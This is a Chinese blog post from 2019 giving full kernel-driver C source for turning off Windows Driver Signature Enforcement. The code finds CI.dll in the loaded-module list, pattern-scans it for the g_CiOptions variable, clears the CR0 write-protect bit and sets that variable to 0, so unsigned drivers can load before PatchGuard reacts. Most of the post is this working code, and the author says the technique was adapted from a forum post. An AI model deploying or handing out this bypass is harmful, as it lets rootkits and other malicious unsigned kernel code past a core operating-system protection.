内核过DSE驱动签名验证.

一丶简介

现在的驱动,必须都有签名才能加载.那么如何加载无签名的驱动模块那.
下面可以说下方法.但是挺尴尬的是,代码必须在驱动中编写.所以就形成了
你必须一个驱动带有一个签名加载进去.执行你的代码.pass掉DSE之后以后加载驱动就可以完全不用签名了.

原理:
原理就是Path一下CI内核模块.将一个全局变量置为0即可.但是受PG保护.不过PG要检测这个位置不会立刻保护.所以可以修改完加载完你的无驱动签名的驱动.然后修改回来即可.

全局变量有三个. 0 6 8 0代表禁用 6代表开启. 8代表可以加载测试签名.

二丶逆向CI.dll寻找Path位置.

既然上面说了.是修改一个全局变量.那么打开CI看看修改那个即可.

结果

虽然提示你需要签名.但是可以用PChunter看到.其实已经加载了.

一共三个值. 0 6 8 6代表开启驱动签名 0代表关闭 8 代表开启测试驱动签名

代码:


#include "Driver.h"
#include <wdm.h>

//KLDR_DATA_TABLE_ENTRY

typedef struct _LDR_DATA_TABLE_ENTRY {
	LIST_ENTRY InLoadOrderLinks;
	LIST_ENTRY InMemoryOrderLinks;
	LIST_ENTRY InInitializationOrderLinks;
	PVOID DllBase;
	PVOID EntryPoint;
	ULONG SizeOfImage;
	UNICODE_STRING FullDllName;
	UNICODE_STRING BaseDllName;
	ULONG Flags;
	USHORT LoadCount;
	USHORT TlsIndex;
	union {
		LIST_ENTRY HashLinks;
		struct {
			PVOID SectionPointer;
			ULONG CheckSum;
		};
	};
	union {
		struct {
			ULONG TimeDateStamp;
		};
		struct {
			PVOID LoadedImports;
		};
	};
}LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

VOID IteratorModule(PDRIVER_OBJECT pDriverObj)
{
	PLDR_DATA_TABLE_ENTRY pLdr = NULL;
	PLIST_ENTRY pListEntry = NULL;
	PLIST_ENTRY pCurrentListEntry = NULL;

	PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL;
	pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection;
	pListEntry = pLdr->InLoadOrderLinks.Flink;
	pCurrentListEntry = pListEntry->Flink;

	while (pCurrentListEntry != pListEntry) //前后不相等
	{
		//获取LDR_DATA_TABLE_ENTRY结构
		pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);

		if (pCurrentModule->BaseDllName.Buffer != 0)
		{
			DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p\r\n",
				pCurrentModule->BaseDllName,
				pCurrentModule->DllBase,
				(LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage);
		}
		pCurrentListEntry = pCurrentListEntry->Flink;
	}
}

LONGLONG GetModuleBaseByName(PDRIVER_OBJECT pDriverObj,UNICODE_STRING ModuleName)
{
	PLDR_DATA_TABLE_ENTRY pLdr = NULL;
	PLIST_ENTRY pListEntry = NULL;
	PLIST_ENTRY pCurrentListEntry = NULL;

	PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL;
	pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection;
	pListEntry = pLdr->InLoadOrderLinks.Flink;
	pCurrentListEntry = pListEntry->Flink;

	while (pCurrentListEntry != pListEntry) //前后不相等
	{
		//获取LDR_DATA_TABLE_ENTRY结构
		pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);

		if (pCurrentModule->BaseDllName.Buffer != 0)
		{
			UNICODE_STRING uCmp1 = RTL_CONSTANT_STRING(L"HelloWorld");
			UNICODE_STRING uCmp2 = RTL_CONSTANT_STRING(L"HelloWorld");
			if (RtlCompareUnicodeString(&pCurrentModule->BaseDllName, &ModuleName, TRUE) == 0)
			{
				DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p\r\n",
					pCurrentModule->BaseDllName,
					pCurrentModule->DllBase,
					(LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage);
				return (LONGLONG)pCurrentModule->DllBase;
			}
			
		}
		pCurrentListEntry = pCurrentListEntry->Flink;
	}
	return 0;
}

typedef struct _BASEMANGER
{
	LONGLONG StartBase;
	LONGLONG EndBase;
}BASEMANGER,*PBASEMANGER;

BASEMANGER GetModuleBaseByNames(PDRIVER_OBJECT pDriverObj, UNICODE_STRING ModuleName)
{
	PLDR_DATA_TABLE_ENTRY pLdr = NULL;
	PLIST_ENTRY pListEntry = NULL;
	PLIST_ENTRY pCurrentListEntry = NULL;

	PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL;
	pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection;
	pListEntry = pLdr->InLoadOrderLinks.Flink;
	pCurrentListEntry = pListEntry->Flink;
	BASEMANGER BaseManger = { 0 };
	while (pCurrentListEntry != pListEntry) //前后不相等
	{
		//获取LDR_DATA_TABLE_ENTRY结构
		pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);

		if (pCurrentModule->BaseDllName.Buffer != 0)
		{
			UNICODE_STRING uCmp1 = RTL_CONSTANT_STRING(L"HelloWorld");
			UNICODE_STRING uCmp2 = RTL_CONSTANT_STRING(L"HelloWorld");
			if (RtlCompareUnicodeString(&pCurrentModule->BaseDllName, &ModuleName, TRUE) == 0)
			{
				
				DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p\r\n",
					pCurrentModule->BaseDllName,
					pCurrentModule->DllBase,
					(LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage);
				
				BaseManger.StartBase = (LONGLONG)pCurrentModule->DllBase;
				BaseManger.EndBase = (LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage;
				return BaseManger;
			}

		}
		pCurrentListEntry = pCurrentListEntry->Flink;
	}
	BaseManger.StartBase = 0;
	BaseManger.EndBase = 0;
	return BaseManger;
}





//核心实现代码
DWORD64 g_CiOptionsAddress;
int g_CiOptions = 6;



KIRQL  WPOFFx64()
{
	KIRQL  irql = KeRaiseIrqlToDpcLevel();
	UINT64  cr0 = __readcr0();
	cr0 &= 0xfffffffffffeffff;
	_disable();
	__writecr0(cr0);
	return  irql;
}



KIRQL DisableMemProtected()
{
	KIRQL  irql = KeRaiseIrqlToDpcLevel();
	UINT64  cr0 = __readcr0();
	cr0 &= 0xfffffffffffeffff;
	_disable();
	__writecr0(cr0);
	return  irql;
}

void EnbaleMemProtected(KIRQL irql)
{
	UINT64  cr0 = __readcr0();
	cr0 |= 0x10000;
	_enable();
	__writecr0(cr0);
	KeLowerIrql(irql);
}
BOOLEAN DisableDse(DWORD64 CiStartAddress, DWORD64 CiEndAddress)
{
	UNICODE_STRING FunctionName = RTL_CONSTANT_STRING(L"PsGetCurrentProcess");
	DWORD64 PsGetCurrentProcessAddress = (DWORD64)MmGetSystemRoutineAddress(&FunctionName);
	DWORD64 SerchAddress = CiStartAddress;
	DWORD64 Address;
	KIRQL Myirql;
	int nCount = 0;
	int isFind = 0;
	int i = 0;
	int isRead = 1;
	if (SerchAddress == 0)
	{
		return 0;
	}
	__try
	{
		KIRQL irql = KeRaiseIrqlToDpcLevel();
		while (SerchAddress++)
		{
			if (SerchAddress + 2 > CiEndAddress)
			{
				break;
			}

			isRead = 1;
			for (i = 0; i < 2; i++)
			{
				if (MmIsAddressValid((PDWORD64)SerchAddress + i) == FALSE)
				{
					isRead = 0;
					break;
				}
			}

			if (isRead == 1)
			{
				if (*(PUSHORT)(SerchAddress) == 0x15ff)
				{
					Address = SerchAddress + *(PLONG)(SerchAddress + 2) + 6;
					if (MmIsAddressValid((PDWORD64)Address))
					{
						if (*(PDWORD64)Address == PsGetCurrentProcessAddress)
						{
							while (nCount < 100)
							{
								nCount++;
								SerchAddress--;
								if (*(PUSHORT)(SerchAddress) == 0x0d89)
								{
									isFind = 1;
									break;
								}
							}
							break;
						}
					}

				}
			}
		}
		KeLowerIrql(irql);
	}
	__except (1)
	{
		DbgPrint("搜索数据失败!");
	}
	if (isFind == 1)
	{
		//DbgPrint("SerchAddress:%p\n", SerchAddress);
		g_CiOptionsAddress = SerchAddress + *(PLONG)(SerchAddress + 2) + 6;
		g_CiOptions = *(PLONG)g_CiOptionsAddress;
		DbgPrint("地址:%p 初始化值数据:%08X\n", g_CiOptionsAddress, g_CiOptions);
		Myirql = DisableMemProtected();
		*(PLONG)g_CiOptionsAddress = 0; //DisableDse 修改为0即可.
		DbgPrint("地址:%p 修改数据为:%08X\n", g_CiOptionsAddress, *(PLONG)g_CiOptionsAddress);
		EnbaleMemProtected(Myirql);
		return TRUE;
	}
	else
	{
		DbgPrint("搜索数据失败!\n");
		return FALSE;
	}
}
void EnbalDse()  //开启DSE保护
{
	KIRQL Myirql;
	Myirql = DisableMemProtected();
	*(PLONG)g_CiOptionsAddress = 6; //DisableDse 修改为6即可.
	DbgPrint("开启签名验证成功.值修改为 %d \r\n", *(PLONG)g_CiOptionsAddress);
	EnbaleMemProtected(Myirql);
	
}



NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegPath)
{
	ULONG iCount = 0;
	NTSTATUS ntStatus;
	UNICODE_STRING uModuleName;
	BASEMANGER Base = { 0 };
	RtlInitUnicodeString(&uModuleName, L"CI.dll");
	pDriverObj->DriverUnload = DriverUnLoad;

	Base = GetModuleBaseByNames(pDriverObj, uModuleName);
	if (Base.StartBase != 0 && Base.EndBase != 0)
	{
		DisableDse(Base.StartBase, Base.EndBase);//传入CI基址 CICiEndAddress
		//EnbalDse();                            //关闭DSE
	}

	
	
	
	return STATUS_SUCCESS;
}



ps: 文章是原创.但是核心原理是参考了一个看流星论坛的一个大佬的。自己将它的代码拷贝了下来稍微改了改。加了遍历模块代码而已。
原理就是Path CI. 大佬的代码就是寻找特征定位全局变量。既然知道原理了。那么定位的话就抄一下了。
另一篇文章是参考了 安全客的一个漏洞文章。现在找不到了。另一篇所讲的是 标志有三种 0 6 8 0是禁用 6是开启 8是启动测试签名。所以在这里直接使用了。

posted @ 2019-10-14 11:53  iBinary  阅读(212)  评论(0编辑  收藏